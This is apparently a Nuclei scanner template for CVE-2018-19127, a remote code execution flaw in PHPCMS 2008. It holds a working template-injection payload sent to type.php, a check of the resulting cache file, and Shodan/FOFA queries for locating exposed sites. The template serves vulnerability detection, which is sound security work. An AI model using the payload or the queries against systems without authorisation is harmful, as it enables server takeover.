漏洞描述
PHPCMS 2008 suffers from an unauthenticated RCE via template injection in type.php, where attacker-supplied content is written into a PHP template cache file, which is then executable.
id: CVE-2018-19127
info:
name: PHPCMS 2008 - Remote Code Execution via Template Injection
author: tomaquet18
severity: critical
description: |
PHPCMS 2008 suffers from an unauthenticated RCE via template injection in type.php, where attacker-supplied content is written into a PHP template cache file, which is then executable.
impact: |
Successful exploitation allows an unauthenticated attacker to achieve remote code execution on the server, potentially taking full control.
remediation: |
The vendor is unresponsive and PHPCMS 2008 is no longer maintained. Users are advised to stop using this software or restrict public access to it.
reference:
- https://github.com/ab1gale/phpcms-2008-CVE-2018-19127
- https://github.com/advisories/GHSA-p498-q357-m3p7
- https://nvd.nist.gov/vuln/detail/CVE-2018-19127
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2018-19127
epss-score: 0.86004
epss-percentile: 0.99351
cwe-id: CWE-94
cpe: cpe:2.3:a:phpcms:phpcms:2008:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
shodan-query: http.html:"Powered by phpcms"
fofa-query: body="Powered by phpcms"
vendor: phpcms
product: phpcms-2008
tags: cve,cve2018,phpcms,rce,ssti
flow: http(1) || http(2)
variables:
num: "999999999"
payload: "tag_(){};echo(md5({{num}}));{//../rss"
http:
- method: GET
path:
- "{{BaseURL}}/type.php?template={{payload}}"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "value=\"picture", "phpcms", "{{md5(num)}}")'
condition: and
internal: true
- method: GET
path:
- "{{BaseURL}}/data/cache_template/rss.tpl.php"
matchers:
- type: word
words:
- "{{md5(num)}}"
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